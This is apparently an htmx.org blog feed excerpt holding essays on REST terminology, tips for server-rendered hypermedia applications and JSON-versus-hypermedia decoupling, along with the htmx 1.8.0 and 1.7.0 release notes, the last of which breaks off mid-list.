<p><em><a rel="noopener" target="_blank" href="https://techblog.commercetools.com/graphql-and-rest-level-3-hateoas-70904ff1f9cf">GraphQL and REST Level 3 (HATEOAS)</a></em></p>
</blockquote>
<p>So GraphQL isn’t REST, it doesn’t claim to be REST, it doesn’t want to be REST.</p>
<p>But, as of today, the vast majority of developers and companies, even as they excitedly add GraphQL functionality to
their APIs, continue to use the term REST to describe what they are building.</p>
<h2 id="ok-what-can-we-do-about-this-situation"><a class="zola-anchor" href="#ok-what-can-we-do-about-this-situation" aria-label="Anchor link for: ok-what-can-we-do-about-this-situation">#</a>OK, What Can We Do About This Situation?</h2>
<p>Unfortunately, <a rel="noopener" target="_blank" href="https://news.ycombinator.com/item?id=32073545">voidfunc</a> is probably right:</p>
<blockquote>
<p>You can tap the sign as much as you want, that battle was lost a long time ago. REST is just the common term people
use for HTTP+JSON RPC.</p>
</blockquote>
<p>We are going to keep calling <em>obviously</em> non-RESTful JSON APIs REST because that’s just what everyone calls them now.</p>
<p>Despite my increasingly vigorous sign tapping, 50 years from now Global Omni Corp. will still be advertising
jobs for working on v138 of their RESTful JSON API’s swagger documentation.</p>
<img src="/img/punished-fielding.png" alt="Roy Fielding Does Not Approve" style="width: 80%;margin-left:10%; margin-top: 16px;margin-bottom: 16px">
<p><a rel="noopener" target="_blank" href="https://wwnorton.com/books/9780393310214">The situation is hopeless, but not serious.</a></p>
<p>Regardless, there is an opportunity here to explain REST and, in particular, the uniform interface to a new generation of web
developers who may have never heard of those concepts in their original context, and who assume REST === JSON APIs.</p>
<p><a href="https://htmx.org/essays/a-response-to-rich-harris/">People sense something is wrong</a>, and maybe REST, real, actual REST,
not RESTless, could be a part of <a href="https://htmx.org/essays/spa-alternative/">the answer to that</a>.</p>
<p>At the very least, the ideas behind REST are interesting and worth knowing just as general software engineering knowledge.</p>
<p>There is a larger meta-point here too: even a relatively smart group of people (early web developers), with the benefit
of the internet, and with a pretty clear (if at times academic) specification for the term REST, were unable to keep the
meaning consistent with its original meaning over period of two decades.</p>
<p>If we can get this so obviously wrong, what else could we be wrong about?</p>
htmx 1.8.0 has been released!2022-07-12T00:00:00+00:002022-07-12T00:00:00+00:00Unknownhttps://htmx.org/posts/2022-07-12-htmx-1-8-0-is-released/<h2 id="htmx-1-8-0-release">htmx 1.8.0 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.8.0/">1.8.0 release</a> of htmx.</p>
<p><strong>NOTE:</strong> This was a big release with some changes to very touchy code that is hard to test (e.g. history support) so
please test thoroughly and let us know if there are any issues.</p>
<h3 id="new-features">New Features</h3>
<ul>
<li>The <a href="https://htmx.org/attributes/hx-replace-url/"><code>hx-replace-url</code></a> attribute was introduced, allowing you to replace
the current URL in history (to complement <code>hx-push-url</code>)</li>
<li><code>m</code> is now a valid timing modifier (e.g. <code>hx-trigger="every 2m"</code>)</li>
<li><code>next</code> and <code>previous</code> are now valid extended query selector modifiers, e.g. <code>hx-target="next div"</code> will target the
next div from the current element</li>
<li>The <code>HX-Location</code> response header now implements client-side redirects entirely within htmx</li>
<li>The <code>HX-Reswap</code> response header allows you to change the swap behavior of htmx</li>
<li>The new <a href="https://htmx.org/attributes/hx-select-oob/"><code>hx-select-oob</code></a> attribute selects one or more elements from a server response to swap in via an out of band swap</li>
<li>The new <a href="https://htmx.org/attributes/hx-replace-url/"><code>hx-replace-url</code></a> attribute can be used to replace the current URL in the location
bar (very similar to <code>hx-push-url</code> but no new history entry is created). The corresponding <code>HX-Replace-Url</code> response header can be used as well.</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>Boosted forms now will automatically push URLs into history as with links. The <a rel="noopener" target="_blank" href="https://caniuse.com/mdn-api_xmlhttprequest_responseurl">response URL</a>
detection API support is good enough that we feel comfortable making this the default now.
<ul>
<li>If you do not want this behavior you can add <code>hx-push-url='false'</code> to your boosted forms</li>
</ul>
</li>
<li>If htmx is included in a page more than once, we do not process elements multiple times</li>
<li>When localStorage is not available we do not attempt to save history in it</li>
<li><code>hx-boost</code> will boost anchor tags with a <code>_self</code> target</li>
<li>The <code>load</code> event now properly supports event filters</li>
<li>The websocket extension has had many improvements: (A huge thank you to Denis Palashevskii, our newest committer on the project!)
<ul>
<li>Implement proper <code>hx-trigger</code> support</li>
<li>Expose trigger handling API to extensions</li>
<li>Implement safe message sending with sending queue</li>
<li>Fix <code>ws-send</code> attributes connecting in new elements</li>
<li>Fix OOB swapping of multiple elements in response</li>
</ul>
</li>
<li>htmx now properly handles anchors in both boosted links, as well as in <code>hx-get</code>, etc. attributes</li>
<li>Many, many documentation updates (thank you to all the contributors!)</li>
</ul>
<p>Enjoy!</p>
10 Tips For Building SSR/HDA applications2022-06-13T00:00:00+00:002023-06-13T00:00:00+00:00Unknownhttps://htmx.org/essays/10-tips-for-ssr-hda-apps/<p>Building web applications using traditional Server-Side Rendering (SSR) or, saying the same thing another way, building
<a href="https://htmx.org/essays/hypermedia-driven-applications/">Hypermedia-Driven Applications</a> (HDAs) requires a mindset shift when
compared with building web applications with Single Page Application frameworks like React.</p>
<p>If you come at this style of development with an SPA-engineering hat on, you are likely to be frustrated and miss out
on many advantages of this particular architectural choice.</p>
<p>Here are 10 tip to help you make the mental shift smoothly, taking advantage of the strengths of this approach and
minimizing the weaknesses of it:</p>
<h3 id="tip-1-maximize-your-server-side-strengths"><a class="zola-anchor" href="#tip-1-maximize-your-server-side-strengths" aria-label="Anchor link for: tip-1-maximize-your-server-side-strengths">#</a>Tip 1: Maximize Your Server-Side Strengths</h3>
<p>A big advantage of the hypermedia-driven approach is that it makes the server-side environment far more important when
building your web application. Rather than simply producing JSON, your back end is an integral component in the user
experience of your web application.</p>
<p>Because of this, it makes sense to look deeply into the functionality available there. Many older web frameworks have
incredibly deep functionality available around producing HTML. Features like
<a rel="noopener" target="_blank" href="https://guides.rubyonrails.org/caching_with_rails.html">server-side caching</a> can make the difference between an incredibly
snappy web application and a sluggish user experience.</p>
<p>Take time to learn all the tools available to you.</p>
<p>A good rule of thumb is to shoot to have responses in your application take less than 100ms to complete, and mature
server side frameworks have tools to help make this happen.</p>
<h3 id="tip-2-factor-your-application-on-the-server"><a class="zola-anchor" href="#tip-2-factor-your-application-on-the-server" aria-label="Anchor link for: tip-2-factor-your-application-on-the-server">#</a>Tip 2: Factor Your Application On The Server</h3>
<p>Server-side environments often have extremely mature mechanisms for factoring (or organizing) your code properly. The
<a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller">Model/View/Controller</a> pattern is well-developed in
most environments, and tools like modules, packages, etc. provide an excellent way to organize your code.</p>
<p>Whereas SPAs user interfaces are typically organized via <em>components</em>, hypermedia-driven applications are typically
organized via <em>template inclusion</em>, where the server-side templates are broken up according to the HTML-rendering needs
of the application, and then included in one another as needed. This tends to lead to fewer, chunkier files than you
would find in a component-based application.</p>
<p>Another technology to look for are <a href="https://htmx.org/essays/template-fragments/">Template Fragments</a>, which allow you to render only
part of a template file. This can reduce even further the number of template files required for your server-side
application.</p>
<h3 id="tip-3-specialize-your-api-end-points"><a class="zola-anchor" href="#tip-3-specialize-your-api-end-points" aria-label="Anchor link for: tip-3-specialize-your-api-end-points">#</a>Tip 3: Specialize Your API End Points</h3>
<p>Unlike a <a href="https://htmx.org/essays/hypermedia-apis-vs-data-apis/">JSON API</a>, the hypermedia API you produce for your hypermedia-driven
application <em>should</em> feature end-points specialized for your particular application’s UI needs.</p>
<p>Because hypermedia APIs are <a href="https://htmx.org/essays/hypermedia-clients/">not designed to be consumed by general-purpose clients</a> you
can set aside the pressure to keep them generalized and produce the content specifically needed for your application.<br />
Your end-points should be optimized to support your particular applications UI/UX needs, not for a general-purpose
data-access model for your domain model.</p>
<h3 id="tip-4-aggressively-refactor-your-api-end-points"><a class="zola-anchor" href="#tip-4-aggressively-refactor-your-api-end-points" aria-label="Anchor link for: tip-4-aggressively-refactor-your-api-end-points">#</a>Tip 4: Aggressively Refactor Your API End Points</h3>
<p>A related tip is that, when you have a hypermedia-based API, you can aggressively refactor your API in a way that is
heavily discouraged when writing JSON API-based SPAs. Because hypermedia-based applications use <a href="https://htmx.org/essays/hateoas/">Hypermedia As The Engine
Of Application State</a>, you are able and, in fact, encouraged, to change the shape of them as your
application developers and as use cases change.</p>
<p>A great strength of the hypermedia approach is that you can completely rework your API to adapt to new needs over time
without needing to version the API or even document it.</p>
<h3 id="tip-5-take-advantage-of-direct-access-to-the-data-store"><a class="zola-anchor" href="#tip-5-take-advantage-of-direct-access-to-the-data-store" aria-label="Anchor link for: tip-5-take-advantage-of-direct-access-to-the-data-store">#</a>Tip 5: Take Advantage of Direct Access To The Data Store</h3>
<p>When an application is built using the SPA approach, the data store typically lives behind a JSON API. This level of
indirection often prevents front end developers from being able to take full advantage of the tools available in the
data store. GraphQL can help address this issue, but comes with <a rel="noopener" target="_blank" href="https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html">security-related issues</a>
that do not appear to be well understood by many developers.</p>
<p>When you produce your HTML on the server side, on the other hand, the developer creating that HTML can have full access
to the data store and take advantage of, for example, <a rel="noopener" target="_blank" href="https://www.sqltutorial.org/sql-left-join/">joins</a> and
<a rel="noopener" target="_blank" href="https://www.sqltutorial.org/sql-aggregate-functions/">aggregation functions</a> in SQL stores.</p>
<p>This puts far more expressive power directly in the hands of the developer producing the HTML. Because your hypermedia
API can be structured around your UI needs, you can tune each endpoint to issue as few data store requests as possible.</p>
<p>A good rule of thumb is that every request should shoot to have three or fewer data-store accesses.</p>
<h3 id="tip-6-avoid-modals"><a class="zola-anchor" href="#tip-6-avoid-modals" aria-label="Anchor link for: tip-6-avoid-modals">#</a>Tip 6: Avoid Modals</h3>
<p><a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Modal_window">Modal windows</a> have become popular, almost standard, in many web applications
today.</p>
<p>Unfortunately, <a rel="noopener" target="_blank" href="https://youdontneedamodalwindow.dev/">modal windows do not play well with much of the infrastructure of the web</a>
and introduce client-side state that can be difficult (though not impossible) to integrate cleanly with the hypermedia-based
approach.</p>
<p>Consider using alternatives such as <a rel="noopener" target="_blank" href="https://htmx.org/examples/click-to-edit/">inline editing</a>, rather than modals.</p>
<h3 id="tip-7-accept-good-enough-ux"><a class="zola-anchor" href="#tip-7-accept-good-enough-ux" aria-label="Anchor link for: tip-7-accept-good-enough-ux">#</a>Tip 7: Accept “Good Enough” UX</h3>
<p>A problem many SPA developers face when coming to the HDA approach is that they look at their current SPA application and
imagine implementing it <em>exactly</em> using hypermedia. While htmx and other hypermedia-oriented libraries significantly
close the interactivity gap between hypermedia-based applications and SPAs, that gap still exists.</p>
<p>As Roy Fielding <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5">said</a> with respect
to the web’s REST-ful network architecture:</p>
<blockquote>
<p>The trade-off, though, is that a uniform interface degrades efficiency, since information is transferred in a
standardized form rather than one which is specific to an application’s needs.</p>
</blockquote>
<p>Accepting a slightly less efficient and interactive solution to a particular UX can save you a tremendous amount of
<a href="https://htmx.org/essays/complexity-budget/">complexity</a> when building a web application.</p>
<p>Do not let the perfect be the enemy of the good.</p>
<h3 id="tip-8-when-necessary-create-islands-of-interactivity"><a class="zola-anchor" href="#tip-8-when-necessary-create-islands-of-interactivity" aria-label="Anchor link for: tip-8-when-necessary-create-islands-of-interactivity">#</a>Tip 8: When Necessary, Create “Islands of Interactivity”</h3>
<p>At some point in your web application, there may come a point where the hypermedia approach, on its own, just doesn’t
cut it.</p>
<p>A good example of this is re-ordering a list of things. This can be done in “pure” hypermedia by clicking up and down
arrows or having order # drop-downs next to items. (I am ashamed to admit I have built both of these!)</p>
<p>But this experience stinks compared to what people are used to: drag-and-drop.</p>
<p>In cases like this, it is perfectly fine to use a front-end heavy approach as an “Island of Interactivity”.</p>
<p>Consider the <a href="https://htmx.org/examples/sortable/">SortableJS</a> example. Here you have a sophisticated area of interactivity that allows for
drag-and-drop, and that integrates with htmx and the broader hypermedia-driven application via events.</p>
<p>This is an excellent way to encapsulate richer UX within an HDA.</p>
<h3 id="tip-9-don-t-be-afraid-to-script"><a class="zola-anchor" href="#tip-9-don-t-be-afraid-to-script" aria-label="Anchor link for: tip-9-don-t-be-afraid-to-script">#</a>Tip 9: Don’t Be Afraid To Script!</h3>
<p>Scripting is <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7">explicitly a part of the web architecture</a>
and developers adopting the hypermedia approach shouldn’t be afraid to use it. Of course there is scripting and then
there is scripting.</p>
<p>As much as possible, you should try to use the <a href="https://htmx.org/essays/hypermedia-friendly-scripting/">hypermedia-friendly scripting</a>
approach, retaining hypermedia-exchanges as the primary mechanism for communicating system state changes with the
server.</p>
<p>Inline-style scripting, as enabled by <a rel="noopener" target="_blank" href="https://alpinejs.dev/">alpine.js</a> & <a rel="noopener" target="_blank" href="https://hyperscript.org">hyperscript</a> for example,
is worth exploring as well, as it refocuses your scripting on the hypermedia (HTML) itself and imposes an aesthetic
constraint on just how much code you can write.</p>
<h3 id="tip-10-be-pragmatic"><a class="zola-anchor" href="#tip-10-be-pragmatic" aria-label="Anchor link for: tip-10-be-pragmatic">#</a>Tip 10: Be Pragmatic</h3>
<p>Finally, do not be dogmatic about using hypermedia. At the end of the day, it is just another technology with its own
<a href="https://htmx.org/essays/when-to-use-hypermedia/">strengths & weaknesses</a>. If a particular part of an app, or if an entire app,
demands something more interactive than what hypermedia can deliver, then go with a technology that can.</p>
<p>Just be familiar with <a href="https://htmx.org/examples/">what hypermedia can do</a>, so you can make that decision as an informed
developer.</p>
<h2 id="conclusion"><a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a>Conclusion</h2>
<p>Hopefully these tips help you adopt hypermedia and server-side rendering as a tool more effectively and smoothly. It
isn’t a perfect client-server architecture, and it involves explicit tradeoffs, but it can be extremely effective for
many web applications (far more than most web developers today suspect) and provides a much simpler overall development
experience in those cases.</p>
Two Approaches To Decoupling2022-05-01T00:00:00+00:002022-05-01T00:00:00+00:00Unknownhttps://htmx.org/essays/two-approaches-to-decoupling/<blockquote>
<p>The central feature that distinguishes the REST architectural style from other network-based styles is its emphasis on
a uniform interface between components. By applying the software engineering principle of generality to the component
interface, the overall system architecture is simplified and the visibility of interactions is improved.
Implementations are decoupled from the services they provide, which encourages independent evolvability.</p>
</blockquote>
<p><em>-Roy Fielding, <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5">https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5</a></em></p>
<p>In this essay we will look at two different types of decoupling in the context of web applications:</p>
<ul>
<li>Decoupling at the <em>application level</em> via a generic JSON Data API</li>
<li>Decoupling at the <em>network architecture level</em> via a hypermedia API</li>
</ul>
<p>We will see that, at the application level, a hypermedia API tightly couples your front-end and back-end. Despite this
fact, surprisingly, the hypermedia API is in fact more resilient in the face of change.</p>
<h2 id="coupling"><a class="zola-anchor" href="#coupling" aria-label="Anchor link for: coupling">#</a>Coupling</h2>
<p><a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Coupling_%28computer_programming%29">Coupling</a> is a property of a software system in which
two modules or aspects of the system have a high degree of interdependence. <em>Decoupling</em> software is the act of reducing this
interdependence between unrelated modules so that they can evolve independently of one another.</p>
<p>The concept of coupling and decoupling is closely (and inversely) related to
<a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Cohesion_(computer_science)">cohesion</a>. Highly cohesive software has related logic
within a module or conceptual boundary, rather than spread out throughout a codebase. (A related concept is our own idea
of <a href="/essays/locality-of-behaviour/">Locality of Behavior</a>)</p>
<p>Broadly, experienced developers strive for decoupled and cohesive systems.</p>
<h2 id="json-data-apis-application-level-decoupling"><a class="zola-anchor" href="#json-data-apis-application-level-decoupling" aria-label="Anchor link for: json-data-apis-application-level-decoupling">#</a>JSON Data APIs - Application Level Decoupling</h2>
<p>A common approach to building web applications today is to create a JSON Data API and then consume that JSON API using
a JavaScript framework such as React. This application-level architectural decision decouples the front-end code
from the back-end code, and allows the reuse of the JSON API in other contexts, such as a mobile applications, 3rd
party client integrations, etc.</p>
<p>This is an <em>application-level</em> decoupling because the decision and implementation of the decoupling is done by the
application developer themselves. The JSON API provides a “hard” interface between the two pieces of software.</p>
<p>Using my favorite example, consider a simple JSON for a bank that has a <code>GET</code> end point at <code>https://example.com/account/12345</code>.
This API might return the following content:</p>
<pre data-lang="json" style="background-color:#1f2329;color:#abb2bf;" class="language-json "><code class="language-json" data-lang="json"><span>HTTP/</span><span style="color:#d19a66;">1.1 200</span><span> OK
</span><span>
</span><span>{
</span><span> </span><span style="color:#98c379;">"account"</span><span>: {
</span><span> </span><span style="color:#98c379;">"account_number"</span><span>: </span><span style="color:#d19a66;">12345</span><span>,
</span><span> </span><span style="color:#98c379;">"balance"</span><span>: {
</span><span> </span><span style="color:#98c379;">"currency"</span><span>: </span><span style="color:#98c379;">"usd"</span><span>,
</span><span> </span><span style="color:#98c379;">"value"</span><span>: </span><span style="color:#d19a66;">-50.00
</span><span> },
</span><span> </span><span style="color:#98c379;">"status"</span><span>: </span><span style="color:#98c379;">"overdrawn"
</span><span> }
</span><span>}
</span></code></pre>
<p>This Data API can be consumed by any client: a web application, a mobile client, a third party, etc. It is, therefore
decoupled from any particular client.</p>
<h3 id="decoupling-via-a-json-api-in-practice"><a class="zola-anchor" href="#decoupling-via-a-json-api-in-practice" aria-label="Anchor link for: decoupling-via-a-json-api-in-practice">#</a>Decoupling Via A JSON API In Practice</h3>
<p>So far, so good. But how does this decoupling work out in practice?</p>
<p>In our essay <a rel="noopener" target="_blank" href="https://htmx.org/essays/splitting-your-apis/">Splitting Your Data & Application APIs: Going Further</a> you
will find the following quote:</p>
<blockquote>
<p>The worst part of my job these days is designing APIs for front-end developers. The conversation goes inevitably as:</p>
<p>Dev – So, this screen has data element x,y,z… could you please create an API with the response format {x: , y:, z: }</p>
<p>Me – Ok</p>
<p>Jean-Jacques Dubray - <a rel="noopener" target="_blank" href="https://www.infoq.com/articles/no-more-mvc-frameworks">https://www.infoq.com/articles/no-more-mvc-frameworks</a></p>
</blockquote>
<p>This quote shows that, although we have driven coupling out with a pitchfork (or, in our case, with a JSON API) it has come
back through requests for web application-specific JSON API end points. These sorts of requests end up recoupling the
front-end and back-end code: the JSON API is no longer providing a generic JSON Data API, but rather a specific API for
the front-end needs.</p>
<p>Worse, these front-end needs will often change frequently as your application evolves, necessitating the modification
of your JSON API. What if other non-web application clients have come to depend on the original API?</p>
<p>This problem leads to the “versioning hell” that many JSON Data API developers face when supporting both web applications as well
as other non-web application clients.</p>
<h4 id="a-solution-graphql"><a class="zola-anchor" href="#a-solution-graphql" aria-label="Anchor link for: a-solution-graphql">#</a>A Solution: GraphQL</h4>
<p>One potential solution to this problem is to introduce <a rel="noopener" target="_blank" href="https://graphql.org/">GraphQL</a>, which allows you to have a much
more expressive JSON API. This means that you don’t need to change it as often when your API client’s needs change.</p>
<p>This is a reasonable approach for addressing the problem outlined above, but there are problems with it. The biggest
issue that we see is security, as we outline this in <a rel="noopener" target="_blank" href="https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html">The API Churn/Security Trade-off</a> essay.</p>
<p>Apparently facebook uses a <a rel="noopener" target="_blank" href="https://twitter.com/AdamChainz/status/1392162996844212232">whitelist</a> to deal with the security
issues introduced by GraphQL, but many developers who are using GraphQL appear to not understand the security threats
involved with it.</p>
<h4 id="another-solution-splitting-your-application-general-data-apis"><a class="zola-anchor" href="#another-solution-splitting-your-application-general-data-apis" aria-label="Anchor link for: another-solution-splitting-your-application-general-data-apis">#</a>Another Solution: Splitting Your Application & General Data APIs</h4>
<p>Another approach recommended by <a rel="noopener" target="_blank" href="https://max.engineer/">Max Chernyak</a> in his article
<a rel="noopener" target="_blank" href="https://max.engineer/server-informed-ui">Don’t Build A General Purpose API To Power Your Own Front End</a>, is to build
<em>two</em> JSON APIs: </p>
<ul>
<li>An application specific JSON API that can be modified as needed</li>
<li>A general purpose JSON API that can be consumed by other clients such as mobile, etc.</li>
</ul>
<p>This is a pragmatic solution to address what appears to be the <em>inherent</em> coupling between your web application’s front-end
and the back-end code supporting it, and it doesn’t involve the security tradeoffs involved in a general GraphQL API.</p>
<h2 id="hypermedia-network-architecture-decoupling"><a class="zola-anchor" href="#hypermedia-network-architecture-decoupling" aria-label="Anchor link for: hypermedia-network-architecture-decoupling">#</a>Hypermedia - Network Architecture Decoupling</h2>
<p>Now let us consider how a <em>hypermedia API</em> decouples software.</p>
<p>Consider a potential response to the same <code>GET</code> for <code>https://example.com/account/12345</code> that we saw above:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span>HTTP/1.1 200 OK
</span><span>
</span><span><</span><span style="color:#e06c75;">html</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Account number: 12345</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Balance: $100.00 USD</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Links:
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/deposits"</span><span>>deposits</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/withdrawals"</span><span>>withdrawals</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/transfers"</span><span>>transfers</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/close-requests"</span><span>>close-requests</</span><span style="color:#e06c75;">a</span><span>>
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span></</span><span style="color:#e06c75;">html</span><span>>
</span></code></pre>
<p>(Yes, this is an API response. It just happens to be a hypermedia-formatted response, in this case HTML.)</p>
<p>Here we see that, at the application level, this response could not be more tightly coupled to the “front-end”. In fact,
it <em>is</em> the front-end, in the sense that the API response specifies not only the data for the resource, but also provides
layout information on how, exactly, to display this data to the user.</p>
<p>The response also contains <em>hypermedia controls</em>, in this case, links, that an end user can select from to continue
navigating the hypermedia API that this <a rel="noopener" target="_blank" href="https://htmx.org/essays/hypermedia-driven-applications/">Hypermedia-Driven Application</a> provides.</p>
<p>So, where is the decoupling in this case?</p>
<h3 id="rest-the-uniform-interface"><a class="zola-anchor" href="#rest-the-uniform-interface" aria-label="Anchor link for: rest-the-uniform-interface">#</a>REST & The Uniform Interface</h3>
<p>The decoupling in this case is occurring at a <em>lower level</em>. It is happening at the <em>network architecture</em> level, which
is to say, at the system level. <a rel="noopener" target="_blank" href="https://hypermedia.systems">Hypermedia systems</a> are designed to decouple the hypermedia
client (in the case of the web, the browser) from the hypermedia server.</p>
<p>This is accomplished primarily via the Uniform Interface constraint of REST and, in particular, by using
Hypermedia As The Engine of Application State (<a href="/essays/hateoas">HATOEAS</a>).</p>
<p>This style of decoupling allows tighter coupling at the higher application level (which we have seen may be an
<em>inherent</em> coupling) while still retaining the benefits of decoupling for the overall system.</p>
<h3 id="decoupling-via-hypermedia-in-practice"><a class="zola-anchor" href="#decoupling-via-hypermedia-in-practice" aria-label="Anchor link for: decoupling-via-hypermedia-in-practice">#</a>Decoupling Via Hypermedia In Practice</h3>
<p>How does this sort of decoupling work in practice? Well, let’s say that we wish to remove the ability to transfer money
from our bank to other banks as well as the ability to close accounts.</p>
<p>What does our hypermedia response for this <code>GET</code> request now look like?</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span>HTTP/1.1 200 OK
</span><span>
</span><span><</span><span style="color:#e06c75;">html</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Account number: 12345</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Balance: $100.00 USD</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Links:
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/deposits"</span><span>>deposits</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/withdrawals"</span><span>>withdrawals</</span><span style="color:#e06c75;">a</span><span>>
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span></</span><span style="color:#e06c75;">html</span><span>>
</span></code></pre>
<p>You can see that in this response, links for those two actions have been removed from the HTML. The browser simply
render the new HTML to the user. To a rounding error, there are no clients sitting around using the <em>old</em> API. The
API is encoded within and discovered through the hypermedia.</p>
<p>This means that we can dramatically change our API without breaking our clients.</p>
<p>This flexibility is the crux of the REST-ful network architecture and, in particular, of <a href="/essays/hateoas/">HATEOAS</a>.</p>
<p>As you can see, despite much tighter <em>application-level</em> coupling between our front-end and back-end, we actually have
more flexibility due to the <em>network architecture</em> decoupling afforded to us by the Uniform Interface aspect of
REST-ful <a rel="noopener" target="_blank" href="https://hypermedia.systems">hypermedia systems</a>.</p>
<h3 id="but-that-s-a-terrible-data-api"><a class="zola-anchor" href="#but-that-s-a-terrible-data-api" aria-label="Anchor link for: but-that-s-a-terrible-data-api">#</a>But That’s A Terrible (Data) API!</h3>
<p>Many people would object that, sure, this hypermedia API may be flexible for our web application, but it makes for a
terrible general purpose API.</p>
<p>This is quite true. This hypermedia API is tuned for a specific web application. It would be cumbersome and error-prone
to try to download this HTML, parse it and try to extract information from it. This hypermedia API only makes sense as part
of a larger hypermedia system, being consumed by a proper hypermedia client.</p>
<p>This is exactly why we recommend creating a general purpose JSON API alongside your hypermedia API in
<a rel="noopener" target="_blank" href="https://htmx.org/essays/splitting-your-apis/">Splitting Your Data & Application APIs: Going Further</a>. You can
take advantage of the flexibility of hypermedia for your own web application, while providing a
general purpose JSON API for mobile applications, third party applications, etc.</p>
<p>(Although, we should mention, a <a rel="noopener" target="_blank" href="https://hyperview.org">hypermedia-based mobile application</a> might be a good choice too!)</p>
<h2 id="conclusion"><a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a>Conclusion</h2>
<p>In this essay we looked at two different types of decoupling:</p>
<ul>
<li>Application level decoupling via a JSON Data API</li>
<li>Network-architecture decoupling via REST/HATEOAS in a hypermedia system</li>
</ul>
<p>And we saw that, despite the tighter application-level coupling found in a hypermedia-based application, it is the
hypermedia system that handles changes more gracefully.</p>
htmx 1.7.0 has been released!2022-02-22T00:00:00+00:002022-02-22T00:00:00+00:00Unknownhttps://htmx.org/posts/2022-02-22-htmx-1-7-0-is-released/<h2 id="htmx-1-7-0-release">htmx 1.7.0 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.7.0/">1.7.0 release</a> of htmx.</p>
<h3 id="new-features">New Features</h3>
<ul>
<li>The new <a href="https://htmx.org/attributes/hx-sync/"><code>hx-sync</code></a> attribute allows you to synchronize multiple element requests on a single
element using various strategies (e.g. replace)
<ul>
<li>You can also now abort an element making a request by sending it the <code>htmx:abort</code> event</li>
</ul>
</li>
<li><a href="https://htmx.org/extensions/server-sent-events/">Server Sent Events</a> and <a href="https://htmx.org/extensions/web-sockets/">Web Sockets</a> are now available as
extensions, in addition to the normal core support. In htmx 2.0, the current <code>hx-sse</code> and <code>hx-ws</code> attributes will be
moved entirely out to these new extensions. By moving these features to extensions we will be able to add functionality
to both of them without compromising the core file size of htmx. You are encouraged to move over to the new
extensions, but <code>hx-sse</code> and <code>hx-ws</code> will continue to work indefinitely in htmx 1.x.</li>
<li>You can now mask out <a href="https://htmx.org/docs/#inheritance">attribute inheritance</a> via the <a href="https://htmx.org/attributes/hx-disinherit/"><code>hx-disinherit</code></a> attribute.</li>
<li>The <code>HX-Push</code> header can now have the <code>false</code> value, which will prevent a history snapshot from occurring.</li>
<li>Many new extensions, with a big thanks to all the contributors!
<ul>
<li>A new <a href="https://htmx.org/extensions/alpine-morph/"><code>alpine-morph</code></a> extension allows you to use Alpine’s swapping engine, which preserves Alpine state when you have entire Alpine components swapped by htmx.</li>
<li>A <a href="https://htmx.org/extensions/restored/">restored</a> extension was added that will trigger a <code>restore</code> event on all elements in the DOM
on history restoration.</li>
<li>A <a href="https://htmx.org/extensions/loading-states/">loading-states</a> extension was added that allows you to easily manage loading states
while a request is in flight, including disabling elements, and adding and removing CSS classes. </li>
</ul>
</li>
<li>The <code>this</code> symbol now resolves properly for the <a href="https://htmx.org/attributes/hx-include/"><code>hx-include</code></a> and <a href="https://htmx.org/attributes/hx-indicator/"><code>hx-indicator</code></a>
attributes</li>
<li>When an object is included via the <a href="https://htmx.org/attributes/hx-vals/"><code>hx-vals</code></a> attribute, it will be converted to JSON (rather
than rendering as the string <code>[Object object]"</code>)</li>
